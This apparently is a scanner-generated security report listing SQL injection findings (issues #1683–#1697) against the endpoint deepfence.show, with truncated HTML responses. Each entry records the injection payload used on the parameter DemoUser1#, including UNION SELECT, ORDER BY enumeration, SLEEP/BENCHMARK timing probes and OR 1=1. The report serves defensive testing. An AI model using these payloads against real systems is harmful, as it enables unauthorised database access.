ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1683
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1684
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),"'3'"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1685
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1686
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' ORDER BY 1--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1687
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# 1234 ' AND 1=0 UNION ALL SELECT 'admin', '
81dc9bdb52d04dc20036dbd8313ed055
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1688
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7300=7300 AND 'pKlZ'='
pKlY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1689
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7300=7300 AND 'pKlZ'='
pKlZ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1690
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1691
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1692
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1693
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1694
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1695
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# ORDER BY 1,SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1696
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ') or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1697
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
